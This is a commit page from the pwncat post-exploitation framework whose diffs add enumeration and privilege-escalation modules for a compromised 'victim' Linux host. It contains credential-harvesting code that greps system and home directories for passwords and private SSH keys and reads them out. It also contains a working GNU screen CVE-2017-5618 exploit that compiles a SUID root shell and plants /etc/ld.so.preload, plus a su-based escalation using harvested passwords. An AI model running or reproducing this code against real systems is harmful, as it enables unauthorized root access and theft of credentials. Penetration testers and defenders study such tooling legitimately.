1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Organized and converted enumeration modules

Also found fix for delayed arrow key input (once merged,
this should fix #53)
This commit is contained in:
Caleb Stewart 2020-09-11 16:05:53 -04:00
parent f176e5d9bd
commit 8fed7c9829
33 changed files with 811 additions and 178 deletions

View File

@ -1,9 +1,11 @@
#!/usr/bin/env python3
from io import TextIOWrapper
import logging
import selectors
import shlex
import sys
import warnings
import os
from sqlalchemy import exc as sa_exc
from sqlalchemy.exc import InvalidRequestError
@ -33,6 +35,15 @@ def main():
if not pwncat.victim.connected:
exit(0)
# Make stdin unbuffered. Without doing this, some key sequences
# which are multi-byte don't get sent properly (e.g. up and left
# arrow keys)
sys.stdin = TextIOWrapper(
os.fdopen(sys.stdin.fileno(), "br", buffering=0),
write_through=True,
line_buffering=False,
)
# Setup the selector to wait for data asynchronously from both streams
selector = selectors.DefaultSelector()
selector.register(sys.stdin, selectors.EVENT_READ, None)
@ -49,7 +60,7 @@ def main():
while not done:
for k, _ in selector.select():
if k.fileobj is sys.stdin:
data = sys.stdin.buffer.read(1)
data = sys.stdin.buffer.read(64)
pwncat.victim.process_input(data)
else:
data = pwncat.victim.recv()

1
pwncat/data/lester.json Normal file

File diff suppressed because one or more lines are too long

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python3
from io import RawIOBase
import socket
import time
from io import RawIOBase
from typing import Union
import pwncat
@ -15,7 +15,12 @@ class RemoteBinaryPipe(RawIOBase):
reading or writing will be allowed. """
def __init__(
self, mode: str, delim: bytes, binary: bool, exit_cmd: Union[bytes, str],
self,
mode: str,
delim: bytes,
binary: bool,
exit_cmd: Union[bytes, str],
length: int = None,
):
if isinstance(exit_cmd, str):
exit_cmd = exit_cmd.encode("utf-8")
@ -29,6 +34,7 @@ class RemoteBinaryPipe(RawIOBase):
self.exit_cmd: bytes = exit_cmd
self.count = 0
self.name = None
self.length = length
def readable(self) -> bool:
return True
@ -61,6 +67,12 @@ class RemoteBinaryPipe(RawIOBase):
if self.eof:
return
if "w" in self.mode and self.length is not None and self.count < self.length:
# We **have** to finish writing or the shell won't come back in
# most cases. This block only normally executes when an exception
# auto-closes a file object.
self.write((self.length - self.count) * b"\x00")
# Kill the last job. This should be us. We can only run as a job when we
# don't request write support, because stdin is taken away from the
# subprocess. This is dangerous, because we have no way to kill the new
@ -138,13 +150,20 @@ class RemoteBinaryPipe(RawIOBase):
if self.eof:
return None
if self.length is not None:
if (len(data) + self.count) > self.length:
data = data[: (self.length - self.count)]
try:
n = pwncat.victim.client.send(data)
except (socket.timeout, BlockingIOError):
n = 0
if n == 0:
return None
self.count += n
if self.length is not None and self.count >= self.length:
self.on_eof()
return n

View File

@ -1,15 +1,15 @@
#!/usr/bin/env python3
from typing import Any, Callable
from dataclasses import dataclass
import pkgutil
import inspect
import pkgutil
import re
from dataclasses import dataclass
from typing import Any, Callable
from rich.progress import Progress
from pwncat.util import console
from pwncat.platform import Platform
import pwncat
from pwncat.platform import Platform
from pwncat.util import console
LOADED_MODULES = {}
@ -229,7 +229,7 @@ class BaseModule(metaclass=BaseModuleMeta):
PLATFORM = Platform.UNKNOWN
def __init__(self):
return
self.progress = None
def run(self, **kwargs):
""" Execute this module """

View File

@ -103,7 +103,13 @@ class EnumerateModule(BaseModule):
return
# Get any new facts
for typ, data in self.enumerate():
for item in self.enumerate():
if isinstance(item, Status):
yield item
continue
typ, data = item
row = pwncat.db.Fact(
host_id=pwncat.victim.host.id, type=typ, data=data, source=self.name
)

View File

@ -1,48 +0,0 @@
#!/usr/bin/env python3
from typing import List
import dataclasses
import pwncat
from pwncat.platform import Platform
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class ArchData:
"""
Represents a W.X.Y-Z kernel version where W is the major version,
X is the minor version, Y is the patch, and Z is the ABI.
This explanation came from here:
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
"""
arch: str
""" The determined architecture. """
def __str__(self):
return f"Running on a [cyan]{self.arch}[/cyan] processor"
class Module(EnumerateModule):
"""
Enumerate kernel/OS version information
:return:
"""
PROVIDES = ["system.arch"]
PLATFORM = Platform.LINUX
def enumerate(self):
"""
Enumerate kernel/OS version information
:return:
"""
try:
result = pwncat.victim.env(["uname", "-m"]).decode("utf-8").strip()
except FileNotFoundError:
return
yield "system.arch", ArchData(result)

View File

@ -0,0 +1,55 @@
#!/usr/bin/env python3
import dataclasses
import pwncat
@dataclasses.dataclass
class PasswordData:
""" A password possible extracted from a remote file
`filepath` and `lineno` may be None signifying this
password did not come from a file directly.
"""
password: str
filepath: str
lineno: int
def __str__(self):
if self.password is not None:
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
if self.filepath is not None:
result += f" ({self.filepath}:{self.lineno})"
else:
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
return result
@dataclasses.dataclass
class PrivateKeyData:
""" A private key found on the remote file system or known
to be applicable to this system in some way. """
uid: int
""" The user we believe the private key belongs to """
path: str
""" The path to the private key on the remote host """
content: str
""" The actual content of the private key """
encrypted: bool
""" Is this private key encrypted? """
def __str__(self):
if self.uid == 0:
color = "red"
else:
color = "green"
return f"Potential private key for [{color}]{self.user.name}[/{color}] at [cyan]{self.path}[/cyan]"
@property
def description(self) -> str:
return self.content
@property
def user(self):
return pwncat.victim.find_user_by_id(self.uid)

View File

@ -0,0 +1,110 @@
#!/usr/bin/env python3
import os
import re
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
from pwncat.modules.enumerate.creds import PasswordData
class Module(EnumerateModule):
"""
Search the victim file system for configuration files which may
contain passwords. This uses a regular expression based search
to abstractly extract things which look like variable assignments
within configuration files that look like passwords.
"""
PROVIDES = ["creds.password"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.PER_USER
def enumerate(self):
# The locations we will search in for passwords
locations = ["/var/www", "$HOME", "/opt", "/etc"]
# Known locations which match this search but don't contain useful entries
blacklist = ["openssl.cnf", "libuser.conf"]
# The types of files which are "code". This means that we only recognize the
# actual password if it is a literal value (enclosed in single or double quotes)
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini", ".json"]
grep = pwncat.victim.which("grep")
if grep is None:
return
command = f"{grep} -InriE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null"
with pwncat.victim.subprocess(command, "r") as filp:
for line in filp:
try:
# Decode the line and separate the filename, line number, and content
line = line.decode("utf-8").strip().split(":")
except UnicodeDecodeError:
continue
# Ensure we got all three (should always be 3)
if len(line) < 3:
continue
# Extract each individual piece
path = line[0]
content = ":".join(line[2:])
try:
lineno = int(line[1])
except ValueError:
# If this isn't an integer, we can't trust the format of the line...
continue
password = None
# Ensure this file isn't in our blacklist
# We will still report it but it won't produce actionable passwords
# for privesc because the blacklist files have a high likelihood of
# false positives.
if os.path.basename(path) not in blacklist:
# Check for simple assignment
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary like in python with double quotes
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary is perl
match = re.search(
r"password[\"']?\s+=>(.*)", content, re.IGNORECASE
)
if match is not None:
password = match.group(1).strip()
# Don't mark empty passwords
if password is not None and password == "":
password = None
if password is not None:
_, extension = os.path.splitext(path)
# Ensure that this is a constant string. For code file types,
# this is normally indicated by the string being surrounded by
# either double or single quotes.
if extension in code_types:
if password[-1] == ";":
password = password[:-1]
if password[0] == '"' and password[-1] == '"':
password = password.strip('"')
elif password[0] == "'" and password[-1] == "'":
password = password.strip("'")
else:
# This wasn't assigned to a constant, it's not helpful to us
password = None
# Empty quotes? :(
if password == "":
password = None
# This was a match for the search. We may have extracted a
# password. Either way, log it.
yield "creds.password", PasswordData(password, path, lineno)

View File

@ -0,0 +1,59 @@
#!/usr/bin/env python3
from Crypto.PublicKey import RSA
import pwncat
from pwncat.platform import Platform
from pwncat.modules import Status
from pwncat.modules.enumerate import EnumerateModule, Schedule
from pwncat.modules.enumerate.creds import PrivateKeyData
class Module(EnumerateModule):
"""
Search the victim file system for configuration files which may
contain passwords. This uses a regular expression based search
to abstractly extract things which look like variable assignments
within configuration files that look like passwords.
"""
PROVIDES = ["creds.private_key"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.PER_USER
def enumerate(self):
facts = []
# Search for private keys in common locations
with pwncat.victim.subprocess(
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
) as pipe:
yield Status("searching for private keys")
for line in pipe:
line = line.strip().decode("utf-8").split(" ")
uid, path = int(line[0]), " ".join(line[1:])
yield Status(f"found [cyan]{path}[/cyan]")
facts.append(PrivateKeyData(uid, path, None, False))
for fact in facts:
try:
yield Status(f"reading [cyan]{fact.path}[/cyan]")
with pwncat.victim.open(fact.path, "r") as filp:
fact.content = filp.read().strip().replace("\r\n", "\n")
try:
# Try to import the key to test if it's valid and if there's
# a passphrase on the key. An "incorrect checksum" ValueError
# is raised if there's a key. Not sure what other errors may
# be raised, to be honest...
RSA.importKey(fact.content)
except ValueError as exc:
if "incorrect checksum" in str(exc).lower():
# There's a passphrase on this key
fact.encrypted = True
else:
# Some other error happened, probably not a key
continue
yield "creds.private_key", fact
except (PermissionError, FileNotFoundError):
continue

View File

@ -1,40 +0,0 @@
#!/usr/bin/env python3
from typing import List
import dataclasses
import pwncat
from pwncat.platform import Platform
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
class Module(EnumerateModule):
"""
Enumerate system hostname facts
:return: A generator of hostname facts
"""
PROVIDES = ["network.hostname"]
PLATFORM = Platform.LINUX
def enumerate(self):
try:
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
yield "network.hostname", hostname
return
except FileNotFoundError:
pass
try:
hostname = pwncat.victim.env(["hostnamectl"]).decode("utf-8").strip()
hostname = hostname.replace("\r\n", "\n").split("\n")
for name in hostname:
if "static hostname" in name.lower():
hostname = name.split(": ")[1]
yield "network.hostname", hostname
return
except (FileNotFoundError, IndexError):
pass
return

View File

@ -1,70 +0,0 @@
#!/usr/bin/env python3
from typing import List
import dataclasses
import pwncat
from pwncat.platform import Platform
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class KernelVersionData:
"""
Represents a W.X.Y-Z kernel version where W is the major version,
X is the minor version, Y is the patch, and Z is the ABI.
This explanation came from here:
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
"""
major: int
minor: int
patch: int
abi: str
def __str__(self):
return (
f"Running Linux Kernel [red]{self.major}[/red]."
f"[green]{self.minor}[/green]."
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
)
class Module(EnumerateModule):
"""
Enumerate kernel/OS version information
:return:
"""
PROVIDES = ["system.kernel"]
PLATFORM = Platform.LINUX
def enumerate(self):
# Try to find kernel version number
try:
kernel = pwncat.victim.env(["uname", "-r"]).strip().decode("utf-8")
if kernel == "":
raise FileNotFoundError
except FileNotFoundError:
try:
with pwncat.victim.open("/proc/version", "r") as filp:
kernel = filp.read()
except (PermissionError, FileNotFoundError):
kernel = None
# Parse the kernel version number
if kernel is not None:
kernel = kernel.strip()
# We got the full "uname -a" style output
if kernel.lower().startswith("linux"):
kernel = kernel.split(" ")[2]
# Split out the sections
w, x, *y_and_z = kernel.split(".")
y_and_z = ".".join(y_and_z).split("-")
y = y_and_z[0]
z = "-".join(y_and_z[1:])
yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)

View File

@ -0,0 +1,60 @@
#!/usr/bin/env python3
import dataclasses
import os
import re
import shlex
import pwncat
from pwncat.modules.enumerate import EnumerateModule, Schedule
from pwncat.platform import Platform
@dataclasses.dataclass
class ScreenVersion:
path: str
perms: int
vulnerable: bool = True
def __str__(self):
return f"[cyan]{self.path}[/cyan] (perms: [blue]{oct(self.perms)[2:]}[/blue])"
class Module(EnumerateModule):
PROVIDES = ["software.screen.version"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
def enumerate(self):
"""
Enumerate kernel/OS version information
:return:
"""
# Grab current path plus other interesting paths
paths = set(pwncat.victim.getenv("PATH").split(":"))
paths = paths | {
"/bin",
"/sbin",
"/usr/local/bin",
"/usr/local/sbin",
"/usr/bin",
"/usr/sbin",
}
# Look for matching binaries
with pwncat.victim.subprocess(
f"find {shlex.join(paths)} \\( -type f -or -type l \\) -executable \\( -name 'screen' -or -name 'screen-*' \\) -printf '%#m %p\\n' 2>/dev/null"
) as pipe:
for line in pipe:
line = line.decode("utf-8").strip()
perms, *path = line.split(" ")
path = " ".join(path)
perms = int(perms, 8)
# When the screen source code is on disk and marked as executable, this happens...
if os.path.splitext(path)[1] in [".c", ".o", ".h"]:
continue
yield "software.screen.version", ScreenVersion(path, perms)

View File

@ -136,7 +136,7 @@ def LineParser(line):
class Module(EnumerateModule):
""" Enumerate sudo privileges for the current user. """
PROVIDES = ["sudo.rule"]
PROVIDES = ["software.sudo.rule"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.PER_USER
@ -182,4 +182,4 @@ class Module(EnumerateModule):
# Build the beginning part of a normal spec
line = f"{pwncat.victim.current_user.name} local=" + line.strip()
yield "sudo.rule", LineParser(line)
yield "software.sudo.rule", LineParser(line)

View File

@ -37,7 +37,7 @@ class SudoVersion:
class Module(EnumerateModule):
PROVIDES = ["sudo.version"]
PROVIDES = ["software.sudo.version"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
@ -89,4 +89,4 @@ class Module(EnumerateModule):
# We couldn't parse the version out, but at least give the full version
# output in the long form/report of enumeration.
yield "sudo.version", SudoVersion("unknown", result, False)
yield "software.sudo.version", SudoVersion("unknown", result, False)

View File

@ -0,0 +1,90 @@
#!/usr/bin/env python3
from typing import List
import dataclasses
import shlex
import pwncat
from pwncat.platform import Platform
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class ProcessData:
""" A single process from the `ps` output """
uid: int
pid: int
ppid: int
argv: List[str]
def __str__(self):
if isinstance(self.uid, str):
user = self.uid
color = "yellow"
else:
if self.uid == 0:
color = "red"
elif self.uid < 1000:
color = "blue"
else:
color = "magenta"
# Color our current user differently
if self.uid == pwncat.victim.current_user.id:
color = "lightblue"
user = self.user.name
result = f"[{color}]{user:>10s}[/{color}] "
result += f"[magenta]{self.pid:<7d}[/magenta] "
result += f"[lightblue]{self.ppid:<7d}[/lightblue] "
result += f"[cyan]{shlex.join(self.argv)}[/cyan]"
return result
@property
def user(self) -> pwncat.db.User:
return pwncat.victim.find_user_by_id(self.uid)
class Module(EnumerateModule):
"""
Extract the currently running processes. This will parse the
process information and give you access to the user, parent
process, command line, etc as with the `ps` command.
This is only run once unless manually cleared.
"""
PROVIDES = ["system.process"]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
def enumerate(self):
try:
with pwncat.victim.subprocess(
["ps", "-eo", "pid,ppid,user,command", "--no-header", "-ww"], "r"
) as filp:
# Iterate over each process
for line in filp:
line = line.strip().decode("utf-8")
entities = line.split()
pid, ppid, username, *argv = entities
if username not in pwncat.victim.users:
uid = username
else:
uid = pwncat.victim.users[username].id
command = " ".join(argv)
# Kernel threads aren't helpful for us
if command.startswith("[") and command.endswith("]"):
continue
pid = int(pid)
ppid = int(ppid)
yield "system.process", ProcessData(uid, pid, ppid, argv)
except (FileNotFoundError, PermissionError):
return

View File

@ -50,7 +50,9 @@ class Module(EnumerateModule):
def enumerate(self):
for fact in pwncat.modules.run("enumerate.init", progress=self.progress):
for fact in pwncat.modules.run(
"enumerate.gather", types=["system.init"], progress=self.progress
):
if fact.data.init != Init.SYSTEMD:
return
break

View File

@ -0,0 +1,144 @@
#!/usr/bin/env python3
from typing import List, Optional
import dataclasses
import pkg_resources
import json
import pwncat
from pwncat.platform import Platform
from pwncat import util
from pwncat.modules.enumerate import EnumerateModule, Schedule
@dataclasses.dataclass
class ArchData:
"""
Simply the architecture of the remote machine. This class
wraps the architecture name in a nicely printable data
class.
"""
arch: str
""" The determined architecture. """
def __str__(self):
return f"Running on a [cyan]{self.arch}[/cyan] processor"
@dataclasses.dataclass
class KernelVersionData:
"""
Represents a W.X.Y-Z kernel version where W is the major version,
X is the minor version, Y is the patch, and Z is the ABI.
This explanation came from here:
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
"""
major: int
minor: int
patch: int
abi: str
def __str__(self):
return (
f"Running Linux Kernel [red]{self.major}[/red]."
f"[green]{self.minor}[/green]."
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
)
@dataclasses.dataclass
class KernelVulnerabilityData:
"""
Data describing a kernel vulnerability which appears to be exploitable
on the remote host. This is **not** guaranteed to be exploitable, however
the kernel version number lines up. The `working` property can be
modified by other modules (e.g. escalate modules) after attempting this
vulnerability.
"""
name: str
versions: List[str]
link: Optional[str]
cve: Optional[str]
# All exploits are assumed working, but can be marked as not working
working: bool = True
def __str__(self):
line = f"[red]{self.name}[/red]"
if self.cve is not None:
line += f" ([cyan]CVE-{self.cve}[/cyan])"
return line
@property
def description(self):
line = f"Affected Versions: {repr(self.versions)}\n"
if self.link:
line += f"Details: {self.link}"
return line
class Module(EnumerateModule):
"""
Enumerate standard system properties provided by the
`uname` command. This will enumerate the kernel name,
version, hostname (nodename), machine hardware name,
and operating system name (normally GNU/Linux).
This module also provides a similar enumeration to the
common Linux Exploit Suggestor, and will report known
vulnerabilities which are applicable to the detected
kernel version.
"""
PROVIDES = [
"system.kernel.version",
"system.hostname",
"system.arch",
"system.kernel.vuln",
]
PLATFORM = Platform.LINUX
SCHEDULE = Schedule.ONCE
def enumerate(self):
""" Run uname and organize information """
# Grab the uname output
output = pwncat.victim.run("uname -s -n -r -m -o").decode("utf-8").strip()
fields = output.split(" ")
# Grab the components
# kernel_name = fields[0] if fields else None
hostname = fields[1] if len(fields) > 1 else None
kernel_revision = fields[2] if len(fields) > 2 else None
machine_name = fields[3] if len(fields) > 3 else None
# operating_system = fields[4] if len(fields) > 4 else None
# Handle kernel versions
w, x, *y_and_z = kernel_revision.split(".")
y_and_z = ".".join(y_and_z).split("-")
y = y_and_z[0]
z = "-".join(y_and_z[1:])
version = KernelVersionData(int(w), int(x), int(y), z)
yield "system.kernel.version", version
# Handle arch
yield "system.arch", ArchData(machine_name)
# Handle Hostname
yield "system.hostname", hostname
# Handle Kernel vulnerabilities
with open(
pkg_resources.resource_filename("pwncat", "data/lester.json")
) as filp:
vulns = json.load(filp)
version_string = f"{version.major}.{version.minor}.{version.patch}"
for name, vuln in vulns.items():
if version_string not in vuln["vuln"]:
continue
yield "system.kernel.vuln", KernelVulnerabilityData(
name, vuln["vuln"], vuln.get("mil", None), vuln.get("cve", None)
)

View File

@ -25,7 +25,7 @@ class Module(EscalateModule):
sudo_fixed_version = "1.8.28"
for fact in pwncat.modules.run(
"enumerate.sudo_version", progress=self.progress
"enumerate.software.sudo.version", progress=self.progress
):
sudo_version = fact
break
@ -37,7 +37,9 @@ class Module(EscalateModule):
return
rules = []
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
for fact in pwncat.modules.run(
"enumerate.software.sudo.rules", progress=self.progress
):
# Doesn't appear to be a user specification
if not fact.data.matched:

View File

@ -0,0 +1,158 @@
#!/usr/bin/env python3
import re
import textwrap
from io import StringIO
import pwncat
from pwncat.gtfobins import Capability
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
class ScreenTechnique(Technique):
""" Implements the actual escalation technique """
def __init__(self, module, screen):
super(ScreenTechnique, self).__init__(Capability.SHELL, "root", module)
self.screen = screen
def exec(self, binary: str):
""" Run a binary as another user """
# Write the rootshell source code
rootshell_source = textwrap.dedent(
f"""
#include <stdio.h>
int main(void){{
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("{binary}", NULL, NULL);
}}
"""
).lstrip()
# Compile the rootshell binary
try:
rootshell = pwncat.victim.compile([StringIO(rootshell_source)])
except pwncat.util.CompilationError as exc:
raise EscalateError(f"compilation failed: {exc}")
rootshell_tamper = pwncat.victim.tamper.created_file(rootshell)
# Write the library
libhack_source = textwrap.dedent(
f"""
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){{
chown("{rootshell}", 0, 0);
chmod("{rootshell}", 04755);
unlink("/etc/ld.so.preload");
}}
"""
).lstrip()
# Compile libhack
try:
libhack_so = pwncat.victim.compile(
[StringIO(libhack_source)],
cflags=["-fPIC", "-shared"],
ldflags=["-ldl"],
)
except pwncat.util.CompilationError:
pwncat.victim.tamper.remove(rootshell_tamper)
raise EscalateError("compilation failed: {exc}")
# Switch to /etc but save our previous directory so we can return to it
old_cwd = pwncat.victim.chdir("/etc")
# Run screen with our library, saving the umask before changing it
start_umask = pwncat.victim.run("umask").decode("utf-8").strip()
pwncat.victim.run("umask 000")
# Run screen, loading our library and causing our rootshell to be SUID
pwncat.victim.run(
f'{self.screen.path} -D -m -L ld.so.preload echo -ne "{libhack_so}"'
)
# Trigger the exploit
pwncat.victim.run(f"{self.screen.path} -ls")
# We no longer need the shared object
pwncat.victim.env(["rm", "-f", libhack_so])
# Reset umask to the saved value
pwncat.victim.run(f"umask {start_umask}")
# Check if the file is owned by root
file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip()
if file_owner != b"0":
# Hop back to the original directory
pwncat.victim.chdir(old_cwd)
# Ensure the files are removed
pwncat.victim.tamper.remove(rootshell_tamper)
raise EscalateError("failed to create root shell")
# Hop back to the original directory
pwncat.victim.chdir(old_cwd)
# Start the root shell!
pwncat.victim.run(rootshell, wait=False)
return "exit"
class Module(EscalateModule):
"""
Utilize binaries marked SETUID to escalate to a different user.
This module uses the GTFOBins library to generically locate
payloads for binaries with excessive permissions.
"""
PLATFORM = pwncat.platform.Platform.LINUX
def enumerate(self):
""" Enumerate SUID binaries """
for fact in pwncat.modules.run(
"enumerate.gather",
progress=self.progress,
types=["software.screen.version"],
):
if fact.data.vulnerable and fact.data.perms & 0o4000:
# Carve out the version of screen
version_output = (
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()
)
match = re.search(r"(\d+\.\d+\.\d+)", version_output)
if not match:
continue
# We know the version of screen, check if it is vulnerable...
version_triplet = [int(x) for x in match.group().split(".")]
if version_triplet[0] > 4:
continue
if version_triplet[0] == 4 and version_triplet[1] > 5:
continue
if (
version_triplet[0] == 4
and version_triplet[1] == 5
and version_triplet[2] >= 1
):
continue
yield ScreenTechnique(self, fact.data)
def human_name(self, tech: ScreenTechnique):
return f"[cyan]{tech.screen.path}[/cyan] (setuid [red]CVE-2017-5618[/red])"

View File

@ -7,6 +7,7 @@ from pwncat.modules.escalate import (
EscalateModule,
EscalateError,
GTFOTechnique,
Technique,
euid_fix,
)

View File

@ -0,0 +1,71 @@
#!/usr/bin/env python3
import pwncat
from pwncat.gtfobins import BinaryNotFound, Capability, Stream
from pwncat.modules import Status
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique, euid_fix
from pwncat.util import Access
class SuTechnique(Technique):
""" Execute `su` with the given password """
def __init__(self, module: EscalateModule, user: str, password: str):
super(SuTechnique, self).__init__(Capability.SHELL, user, module)
self.password = password
def exec(self, binary: str):
current_user = pwncat.victim.current_user
password = self.password.encode("utf-8")
if current_user.name != "root":
# Send the su command, and check if it succeeds
pwncat.victim.run(
f'su {self.user} -c "echo good"', wait=False,
)
pwncat.victim.recvuntil(": ")
pwncat.victim.client.send(password + b"\n")
# Read the response (either "Authentication failed" or "good")
result = pwncat.victim.recvuntil("\n")
# Probably, the password wasn't echoed. But check all variations.
if password in result or result == b"\r\n" or result == b"\n":
result = pwncat.victim.recvuntil("\n")
if b"failure" in result.lower() or b"good" not in result.lower():
raise EscalateError(f"{self.user}: invalid password")
pwncat.victim.process(f"su {self.user}", delim=False)
if current_user.name != "root":
pwncat.victim.recvuntil(": ")
pwncat.victim.client.sendall(password + b"\n")
pwncat.victim.flush_output()
return "exit"
class Module(EscalateModule):
"""
Utilize known passwords to execute commands as other users.
"""
PLATFORM = pwncat.platform.Platform.LINUX
def enumerate(self):
""" Enumerate SUID binaries """
current_user = pwncat.victim.whoami()
for user, info in pwncat.victim.users.items():
if user == current_user:
continue
if info.password is not None or current_user == "root":
yield SuTechnique(self, user, info.password)
def human_name(self, tech: "Technique"):
return "[red]known password[/red]"

View File

@ -22,7 +22,9 @@ class Module(EscalateModule):
def enumerate(self):
""" Enumerate SUDO permissions """
rules = []
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
for fact in pwncat.modules.run(
"enumerate.software.sudo.rules", progress=self.progress
):
# Doesn't appear to be a user specification
if not fact.data.matched:

View File

@ -7,7 +7,7 @@ from typing import List
import pwncat
from pwncat.gtfobins import Capability
from pwncat.privesc import Technique, BaseMethod, PrivescError
from pwncat.privesc import BaseMethod, PrivescError, Technique
from pwncat.util import CompilationError